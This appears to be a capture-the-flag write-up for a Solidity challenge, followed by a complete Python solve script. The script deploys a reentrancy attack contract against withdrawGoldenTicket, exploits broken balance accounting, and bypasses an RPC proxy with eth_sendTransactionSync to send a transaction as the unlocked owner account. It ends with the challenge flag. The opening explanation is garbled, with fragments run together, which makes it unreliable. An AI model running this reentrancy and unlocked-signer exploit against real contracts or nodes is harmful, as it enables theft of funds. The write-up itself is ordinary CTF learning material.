withdrawGoldenTicket + broken balance accounting in _transfer.eth_sendTransaction, but allows eth_sendTransactionSync, which can send as the unlocked boss.startParty check (sponsor != address(0)) is irrelevant; we never need to call it.Guardian.startParty now requires sponsor != address(0).8547.withdrawGoldenTicket
msg.sender before balances/locks are updated._transfer
balances[from] = 0 instead of decrementing.eth_sendTransaction, but eth_sendTransactionSync is allowed.eth_sendTransactionSync, which uses unlocked signers (eth_accounts returns boss).BalanceBooster:
withdrawGoldenTicket and transfers the ticket to the player during the ETH send.attack() twice:
eth_sendTransactionSync from the boss to call transferTicket(1, player).
balances(boss) and increments balances(player).isSolved() becomes true; request the flag.Dependencies:
pip install web3 py-solc-x eth-account requests
Usage:
python solve_revenge.py --rpc <RPC_URL> --priv <PLAYER_PRIV> --setup <SETUP_ADDR>
Script:
#!/usr/bin/env python3
import argparse
import requests
from eth_account import Account
from web3 import Web3
try:
import solcx
except ImportError as exc:
raise SystemExit("py-solc-x is required: pip install py-solc-x") from exc
BALANCE_BOOSTER_SRC = r'''
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
interface IParty {
function buyGoldenTicket() external payable returns (uint);
function withdrawGoldenTicket(uint tokenId) external;
function transferTicket(uint tokenId, address recipient) external;
}
// Uses withdraw() reentrancy to increment a recipient balance
// while zeroing totalEthLocked back to 0.
contract BalanceBooster {
IParty public party;
address public recipient;
uint public tokenId;
bool private inReceive;
constructor(address _party, address _recipient) {
party = IParty(_party);
recipient = _recipient;
}
function attack() external payable {
require(address(this).balance >= 1 ether, "fund 1 ether");
tokenId = party.buyGoldenTicket{value: 1 ether}();
party.withdrawGoldenTicket(tokenId);
}
receive() external payable {
if (inReceive) return;
inReceive = true;
party.transferTicket(tokenId, recipient);
inReceive = false;
}
}
'''
def compile_booster():
solcx.install_solc("0.8.14")
compiled = solcx.compile_source(
BALANCE_BOOSTER_SRC, output_values=["abi", "bin"], solc_version="0.8.14"
)
_, contract_interface = next(iter(compiled.items()))
return contract_interface["abi"], contract_interface["bin"]
def send_tx(w3, account, tx):
signed = account.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(tx_hash)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--rpc", required=True)
parser.add_argument("--priv", required=True)
parser.add_argument("--setup", required=True)
args = parser.parse_args()
w3 = Web3(Web3.HTTPProvider(args.rpc))
acct = Account.from_key(args.priv)
player = acct.address
setup_abi = [
{
"inputs": [],
"name": "party",
"outputs": [{"internalType": "address", "name": "", "type": "address"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "owner",
"outputs": [{"internalType": "address", "name": "", "type": "address"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "isSolved",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "view",
"type": "function",
},
]
setup = w3.eth.contract(address=Web3.to_checksum_address(args.setup), abi=setup_abi)
party_addr = setup.functions.party().call()
boss_addr = setup.functions.owner().call()
# Deploy BalanceBooster
booster_abi, booster_bin = compile_booster()
booster_factory = w3.eth.contract(abi=booster_abi, bytecode=booster_bin)
nonce = w3.eth.get_transaction_count(acct.address)
deploy_tx = booster_factory.constructor(party_addr, player).build_transaction(
{
"from": acct.address,
"nonce": nonce,
"gas": 1_000_000,
"gasPrice": w3.eth.gas_price,
"chainId": w3.eth.chain_id,
}
)
receipt = send_tx(w3, acct, deploy_tx)
booster_addr = receipt.contractAddress
booster = w3.eth.contract(address=booster_addr, abi=booster_abi)
# Run reentrancy twice (second call reuses the contract's 1 ETH balance).
for i in range(2):
nonce = w3.eth.get_transaction_count(acct.address)
tx = booster.functions.attack().build_transaction(
{
"from": acct.address,
"nonce": nonce,
"gas": 400_000,
"gasPrice": w3.eth.gas_price,
"chainId": w3.eth.chain_id,
"value": 0 if i > 0 else w3.to_wei(1, "ether"),
}
)
send_tx(w3, acct, tx)
# Transfer boss ticket via eth_sendTransactionSync (not blocked by proxy).
party_abi = [
{
"inputs": [
{"internalType": "uint256", "name": "tokenId", "type": "uint256"},
{"internalType": "address", "name": "recipient", "type": "address"},
],
"name": "transferTicket",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
}
]
party = w3.eth.contract(address=party_addr, abi=party_abi)
call_data = party.encode_abi("transferTicket", args=[1, player])
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "eth_sendTransactionSync",
"params": [
{
"from": boss_addr,
"to": party_addr,
"data": call_data,
"gas": hex(150_000),
}
],
}
resp = requests.post(args.rpc, json=payload, timeout=10)
resp.raise_for_status()
result = resp.json()
if "error" in result:
raise SystemExit(f"eth_sendTransactionSync failed: {result}")
# Check solve status
print("isSolved:", setup.functions.isSolved().call())
if __name__ == "__main__":
main()
shellmates{REV3Ng3_r3veeE3ng3_n0_4ddR3SsZer0_Pr3C0mP1l3sh4256}